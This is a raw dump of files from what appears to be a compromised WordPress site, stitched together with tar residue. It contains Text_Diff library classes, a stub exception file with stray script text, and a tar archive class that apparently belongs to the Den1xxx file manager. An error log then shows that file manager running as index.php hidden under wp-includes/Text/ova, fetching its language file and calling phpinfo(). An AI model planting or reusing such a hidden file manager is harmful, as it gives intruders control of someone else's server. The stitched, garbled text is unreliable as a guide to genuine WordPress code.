constructor. * * @return array The original sequence of strings. */ function getOriginal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->orig) { array_splice($lines, count($lines), 0, $edit->orig); } } return $lines; } /** * Gets the final set of lines. * * This reconstructs the $to_lines parameter passed to the constructor. * * @return array The sequence of strings. */ function getFinal() { $lines = array(); foreach ($this->_edits as $edit) { if ($edit->final) { array_splice($lines, count($lines), 0, $edit->final); } } return $lines; } /** * Removes trailing newlines from a line of text. This is meant to be used * with array_walk(). * * @param string $line The line to trim. * @param int $key The index of the line in the array. Not used. */ static function trimNewlines(&$line, $key) { $line = str_replace(array("\n", "\r"), '', $line); } /** * Determines the location of the system temporary directory. * * @access protected * * @return string A directory name which can be used for temp files. * Returns false if one could not be found. */ static function _getTempDir() { $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp', 'c:\windows\temp', 'c:\winnt\temp'); /* Try PHP's upload_tmp_dir directive. */ $tmp = ini_get('upload_tmp_dir'); /* Otherwise, try to determine the TMPDIR environment variable. */ if (!strlen($tmp)) { $tmp = getenv('TMPDIR'); } /* If we still cannot determine a value, then cycle through a list of * preset possibilities. */ while (!strlen($tmp) && count($tmp_locations)) { $tmp_check = array_shift($tmp_locations); if (@is_dir($tmp_check)) { $tmp = $tmp_check; } } /* If it is still empty, we have failed, so return false; otherwise * return the directory determined. */ return strlen($tmp) ? $tmp : false; } /** * Checks a diff for validity. * * This is here only for debugging purposes. */ function _check($from_lines, $to_lines) { if (serialize($from_lines) != serialize($this->getOriginal())) { throw new Text_Exception("Reconstructed original does not match"); } if (serialize($to_lines) != serialize($this->getFinal())) { throw new Text_Exception("Reconstructed final does not match"); } $rev = $this->reverse(); if (serialize($to_lines) != serialize($rev->getOriginal())) { throw new Text_Exception("Reversed original does not match"); } if (serialize($from_lines) != serialize($rev->getFinal())) { throw new Text_Exception("Reversed final does not match"); } $prevtype = null; foreach ($this->_edits as $edit) { if ($prevtype !== null && $edit instanceof $prevtype) { throw new Text_Exception("Edit sequence is non-optimal"); } $prevtype = get_class($edit); } return true; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki */ class Text_MappedDiff extends Text_Diff { /** * Computes a diff between sequences of strings. * * This can be used to compute things like case-insensitive diffs, or diffs * which ignore changes in white-space. * * @param array $from_lines An array of strings. * @param array $to_lines An array of strings. * @param array $mapped_from_lines This array should have the same size * number of elements as $from_lines. The * elements in $mapped_from_lines and * $mapped_to_lines are what is actually * compared when computing the diff. * @param array $mapped_to_lines This array should have the same number * of elements as $to_lines. */ function __construct($from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines) { assert(count($from_lines) == count($mapped_from_lines)); assert(count($to_lines) == count($mapped_to_lines)); parent::Text_Diff($mapped_from_lines, $mapped_to_lines); $xi = $yi = 0; for ($i = 0; $i < count($this->_edits); $i++) { $orig = &$this->_edits[$i]->orig; if (is_array($orig)) { $orig = array_slice($from_lines, $xi, count($orig)); $xi += count($orig); } $final = &$this->_edits[$i]->final; if (is_array($final)) { $final = array_slice($to_lines, $yi, count($final)); $yi += count($final); } } } /** * PHP4 constructor. */ public function Text_MappedDiff( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ) { self::__construct( $from_lines, $to_lines, $mapped_from_lines, $mapped_to_lines ); } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ abstract class Text_Diff_Op { var $orig; var $final; abstract function &reverse(); function norig() { return $this->orig ? count($this->orig) : 0; } function nfinal() { return $this->final ? count($this->final) : 0; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_copy extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final = false ) { if (!is_array($final)) { $final = $orig; } $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_copy( $orig, $final = false ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_copy($this->final, $this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_delete extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->orig = $lines; $this->final = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_delete( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_add($this->orig); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_add extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $lines ) { $this->final = $lines; $this->orig = false; } /** * PHP4 constructor. */ public function Text_Diff_Op_add( $lines ) { self::__construct( $lines ); } function &reverse() { $reverse = new Text_Diff_Op_delete($this->final); return $reverse; } } /** * @package Text_Diff * @author Geoffrey T. Dairiki * * @access private */ class Text_Diff_Op_change extends Text_Diff_Op { /** * PHP5 constructor. */ function __construct( $orig, $final ) { $this->orig = $orig; $this->final = $final; } /** * PHP4 constructor. */ public function Text_Diff_Op_change( $orig, $final ) { self::__construct( $orig, $final ); } function &reverse() { $reverse = new Text_Diff_Op_change($this->final, $this->orig); return $reverse; } } Exception.php000064400000000361150547716150007226 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
    '; foreach ($Errors as $value) $message .= $value.'
    '; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ova/error_log000064400000070000150547716270007261 0ustar00[29-Aug-2025 22:53:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 22:53:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [29-Aug-2025 23:49:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:38:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:46:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 04:47:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 05:30:25 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 07:45:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:45:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:47:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:50:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 07:51:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:12:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:38 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:14:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:49:13 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 669 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:57:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 596 [30-Aug-2025 08:58:25 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 597 [30-Aug-2025 09:54:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 09:55:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:20:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:21:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:29:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:30:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:31:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:33:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:34:57 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/Text/ova/index.php on line 91 [30-Aug-2025 10:35:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in 